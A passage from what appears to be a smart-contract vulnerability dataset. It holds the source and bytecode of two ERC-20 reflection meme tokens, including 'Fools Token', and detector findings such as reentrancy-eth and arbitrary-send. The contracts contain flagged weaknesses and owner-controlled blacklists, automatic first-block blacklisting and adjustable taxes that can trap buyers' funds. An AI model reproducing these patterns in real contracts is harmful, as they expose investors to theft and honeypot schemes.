_rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { require(amount <= _maxTxAmount); if(to != uniswapV2Pair){ require(balanceOf(to) + amount <= maxWallet); } _feeAddr1 = _redis; _feeAddr2 = _tax; uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal/100 ; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal/200; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ // require(_msgSender() == _feeAddrWallet1); sniperCount++; bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ // require(_msgSender() == _feeAddrWallet1); sniperCount -= 1; bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function reduceTax(uint256 _newTax) external onlyOwner{ require(_newTax < _tax); _tax = _newTax; } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c80636fc3eaec116100a0578063a9059cbb11610064578063a9059cbb146102d8578063c3c8cd80146102f8578063c9567bf91461030d578063dd62ed3e14610322578063ef9858941461036857600080fd5b80636fc3eaec1461026657806370a082311461027b578063715018a61461029b5780638da5cb5b146102b057806395d89b411461012457600080fd5b806323b872dd116100e757806323b872dd146101d55780632ab30838146101f5578063313ce5671461020a578063537df3b6146102265780635932ead11461024657600080fd5b806306fdde031461012457806308aad1f11461015f578063095ea7b31461018157806318160ddd146101b157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600381526241706560e81b6020820152905161015691906113a5565b60405180910390f35b34801561016b57600080fd5b5061017f61017a36600461140f565b610388565b005b34801561018d57600080fd5b506101a161019c36600461142c565b6103f4565b6040519015158152602001610156565b3480156101bd57600080fd5b5066038d7ea4c680005b604051908152602001610156565b3480156101e157600080fd5b506101a16101f0366004611458565b61040b565b34801561020157600080fd5b5061017f610474565b34801561021657600080fd5b5060405160098152602001610156565b34801561023257600080fd5b5061017f61024136600461140f565b6104b5565b34801561025257600080fd5b5061017f6102613660046114a7565b610518565b34801561027257600080fd5b5061017f610560565b34801561028757600080fd5b506101c761029636600461140f565b61058d565b3480156102a757600080fd5b5061017f6105af565b3480156102bc57600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102e457600080fd5b506101a16102f336600461142c565b610623565b34801561030457600080fd5b5061017f610630565b34801561031957600080fd5b5061017f610666565b34801561032e57600080fd5b506101c761033d3660046114c4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561037457600080fd5b5061017f6103833660046114fd565b6109f8565b6000546001600160a01b031633146103bb5760405162461bcd60e51b81526004016103b290611516565b60405180910390fd5b601080549060006103cb83611561565b90915550506001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000610401338484610a35565b5060015b92915050565b6000610418848484610b59565b61046a8433610465856040518060600160405280602881526020016116dc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cd0565b610a35565b5060019392505050565b6000546001600160a01b0316331461049e5760405162461bcd60e51b81526004016103b290611516565b6104b0606466038d7ea4c6800061157c565b601355565b6000546001600160a01b031633146104df5760405162461bcd60e51b81526004016103b290611516565b6001601060008282546104f2919061159e565b90915550506001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105425760405162461bcd60e51b81526004016103b290611516565b60128054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461058057600080fd5b4761058a81610d0a565b50565b6001600160a01b03811660009081526002602052604081205461040590610d44565b6000546001600160a01b031633146105d95760405162461bcd60e51b81526004016103b290611516565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610401338484610b59565b600f546001600160a01b0316336001600160a01b03161461065057600080fd5b600061065b3061058d565b905061058a81610dc8565b6000546001600160a01b031633146106905760405162461bcd60e51b81526004016103b290611516565b601254600160a01b900460ff16156106ea5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b2565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610725308266038d7ea4c68000610a35565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078791906115b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f891906115b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610845573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086991906115b5565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d71947306108998161058d565b6000806108ae6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610916573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093b91906115d2565b50506012805461ffff60b01b191661010160b01b1790555061096560c866038d7ea4c6800061157c565b60135560128054600160a01b60ff60a01b1982161790915560115460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156109d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f49190611600565b5050565b6000546001600160a01b03163314610a225760405162461bcd60e51b81526004016103b290611516565b600c548110610a3057600080fd5b600c55565b6001600160a01b038316610a975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b2565b6001600160a01b038216610af85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610bbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b2565b6001600160a01b03831660009081526006602052604090205460ff1615610be157600080fd5b6001600160a01b0383163014610cc057601354811115610c0057600080fd5b6012546001600160a01b03838116911614610c375760095481610c228461058d565b610c2c919061161d565b1115610c3757600080fd5b600b54600d55600c54600e556000610c4e3061058d565b601254909150600160a81b900460ff16158015610c7957506012546001600160a01b03858116911614155b8015610c8e5750601254600160b01b900460ff165b15610cbe578015610ca257610ca281610dc8565b4767016345785d8a0000811115610cbc57610cbc47610d0a565b505b505b610ccb838383610f42565b505050565b60008184841115610cf45760405162461bcd60e51b81526004016103b291906113a5565b506000610d01848661159e565b95945050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109f4573d6000803e3d6000fd5b6000600854821115610dab5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b2565b6000610db5610f4d565b9050610dc18382610f70565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e1057610e10611635565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8d91906115b5565b81600181518110610ea057610ea0611635565b6001600160a01b039283166020918202929092010152601154610ec69130911684610a35565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eff90859060009086903090429060040161164b565b600060405180830381600087803b158015610f1957600080fd5b505af1158015610f2d573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610ccb838383610fb2565b6000806000610f5a6110a9565b9092509050610f698282610f70565b9250505090565b6000610dc183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110e7565b600080600080600080610fc487611115565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ff69087611172565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461102590866111b4565b6001600160a01b03891660009081526002602052604090205561104781611213565b611051848361125d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161109691815260200190565b60405180910390a3505050505050505050565b600854600090819066038d7ea4c680006110c38282610f70565b8210156110de5750506008549266038d7ea4c6800092509050565b90939092509050565b600081836111085760405162461bcd60e51b81526004016103b291906113a5565b506000610d01848661157c565b60008060008060008060008060006111328a600d54600e54611281565b9250925092506000611142610f4d565b905060008060006111558e8787876112d6565b919e509c509a509598509396509194505050505091939550919395565b6000610dc183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd0565b6000806111c1838561161d565b905083811015610dc15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b2565b600061121d610f4d565b9050600061122b8383611326565b3060009081526002602052604090205490915061124890826111b4565b30600090815260026020526040902055505050565b60085461126a9083611172565b600855600a5461127a90826111b4565b600a555050565b600080808061129b60646112958989611326565b90610f70565b905060006112ae60646112958a89611326565b905060006112c6826112c08b86611172565b90611172565b9992985090965090945050505050565b60008080806112e58886611326565b905060006112f38887611326565b905060006113018888611326565b90506000611313826112c08686611172565b939b939a50919850919650505050505050565b60008261133557506000610405565b600061134183856116bc565b90508261134e858361157c565b14610dc15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b2565b600060208083528351808285015260005b818110156113d2578581018301518582016040015282016113b6565b818111156113e4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058a57600080fd5b60006020828403121561142157600080fd5b8135610dc1816113fa565b6000806040838503121561143f57600080fd5b823561144a816113fa565b946020939093013593505050565b60008060006060848603121561146d57600080fd5b8335611478816113fa565b92506020840135611488816113fa565b929592945050506040919091013590565b801515811461058a57600080fd5b6000602082840312156114b957600080fd5b8135610dc181611499565b600080604083850312156114d757600080fd5b82356114e2816113fa565b915060208301356114f2816113fa565b809150509250929050565b60006020828403121561150f57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60006000198214156115755761157561154b565b5060010190565b60008261159957634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156115b0576115b061154b565b500390565b6000602082840312156115c757600080fd5b8151610dc1816113fa565b6000806000606084860312156115e757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561161257600080fd5b8151610dc181611499565b600082198211156116305761163061154b565b500190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561169b5784516001600160a01b031683529383019391830191600101611676565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156116d6576116d661154b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220704b472115ed95d977763ecba0f941e61a1f0c2346d3f4163d37c4d24b6ed6e864736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,637
0xc239e529ece455183f11700c8595535c7d9beb90
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FoolsToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 1e15 * 1e9; //1,000,000,000,000,000,000 uint256 public _maxWalletSize; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _sellTax; uint256 private _buyTax; uint256 public SWAPamount = 5000 * 1e11 * 1e9; // .05% 100,000,000,000,000 uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private dev; event maxWalletSizeamountUpdated(uint _maxWalletSize); event SWAPamountUpdated(uint SWAPamount); string private constant _name = "Fools Token"; string private constant _symbol = "FOOLS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _firstBlock; uint256 private _botBlocks; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { dev = payable(0xCD8D517f92FDda59C3EE6c4B27B1521F783b9204); _rOwned[address(this)] = _rTotal; _sellTax = 18; _buyTax = 2; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[dev] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = _buyTax; if (to != uniswapV2Pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(amount + balanceOf(to) <= _maxWalletSize, "Over max wallet size."); } if (from == uniswapV2Pair && to != address(uniswapV2Router)) { if (block.number == _firstBlock) { bots[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(!bots[from] && !bots[to]); _feeAddr1 = 1; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (contractTokenBalance > SWAPamount) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function updateFees(uint256 sellTax, uint256 reflections, uint256 buyTax) external { require(_msgSender() == dev); _feeAddr1 = reflections; _sellTax = sellTax; _buyTax = buyTax; require(reflections <= 5, "Must keep fees at 5% or less"); require(sellTax <= 18, "Must keep fees at 18% or less"); require(buyTax <= 10, "Must keep fees at 10% or less"); } function liftMax() external { require(_msgSender() == dev); _maxWalletSize = _tTotal; } function sendETHToFee(uint256 amount) private { dev.transfer(amount); } function updateSWAPamount(uint256 newNum) external { require(_msgSender() == dev); SWAPamount = newNum; } function updateMaxWalletamount(uint256 newNum) external { require(_msgSender() == dev); _maxWalletSize = newNum; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _firstBlock = block.number; _maxWalletSize = 2000 * 1e13 * 1e9; //2% tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == dev); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == dev); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setBots(address[] memory bots_) public { require(_msgSender() == dev); for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public { require(_msgSender() == dev); bots[notbot] = false; } }
0x6080604052600436106101445760003560e01c8063753e3aa9116100b6578063c3c8cd801161006f578063c3c8cd8014610399578063c9567bf9146103ae578063dd62ed3e146103c3578063e13071d714610409578063ea3105d914610429578063f2fde38b1461043e57600080fd5b8063753e3aa9146102cd5780638da5cb5b146102ed5780638f9a55c01461031557806395d89b411461032b578063a9059cbb14610359578063b515566a1461037957600080fd5b8063273123b711610108578063273123b714610231578063313ce567146102515780635cbde1501461026d5780636fc3eaec1461028357806370a0823114610298578063715018a6146102b857600080fd5b806306fdde0314610150578063095ea7b31461019657806318160ddd146101c657806322429085146101ef57806323b872dd1461021157600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600b81526a2337b7b639902a37b5b2b760a91b60208201525b60405161018d919061179a565b60405180910390f35b3480156101a257600080fd5b506101b66101b1366004611814565b61045e565b604051901515815260200161018d565b3480156101d257600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161018d565b3480156101fb57600080fd5b5061020f61020a366004611840565b610475565b005b34801561021d57600080fd5b506101b661022c36600461186c565b6105a1565b34801561023d57600080fd5b5061020f61024c3660046118ad565b61060a565b34801561025d57600080fd5b506040516009815260200161018d565b34801561027957600080fd5b506101e1600b5481565b34801561028f57600080fd5b5061020f61064b565b3480156102a457600080fd5b506101e16102b33660046118ad565b610678565b3480156102c457600080fd5b5061020f61069a565b3480156102d957600080fd5b5061020f6102e83660046118ca565b6106d0565b3480156102f957600080fd5b506000546040516001600160a01b03909116815260200161018d565b34801561032157600080fd5b506101e160065481565b34801561033757600080fd5b50604080518082019091526005815264464f4f4c5360d81b6020820152610180565b34801561036557600080fd5b506101b6610374366004611814565b6106f5565b34801561038557600080fd5b5061020f6103943660046118f9565b610702565b3480156103a557600080fd5b5061020f61078e565b3480156103ba57600080fd5b5061020f6107c4565b3480156103cf57600080fd5b506101e16103de3660046119be565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561041557600080fd5b5061020f6104243660046118ca565b610b8f565b34801561043557600080fd5b5061020f610bb4565b34801561044a57600080fd5b5061020f6104593660046118ad565b610be6565b600061046b338484610c7e565b5060015b92915050565b600e546001600160a01b0316336001600160a01b03161461049557600080fd5b600c8290556009839055600a81905560058211156104fa5760405162461bcd60e51b815260206004820152601c60248201527f4d757374206b6565702066656573206174203525206f72206c6573730000000060448201526064015b60405180910390fd5b601283111561054b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313825206f72206c65737300000060448201526064016104f1565b600a81111561059c5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c65737300000060448201526064016104f1565b505050565b60006105ae848484610da2565b61060084336105fb85604051806060016040528060288152602001611bc2602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061105c565b610c7e565b5060019392505050565b600e546001600160a01b0316336001600160a01b03161461062a57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461066b57600080fd5b4761067581611096565b50565b6001600160a01b03811660009081526001602052604081205461046f906110d0565b6000546001600160a01b031633146106c45760405162461bc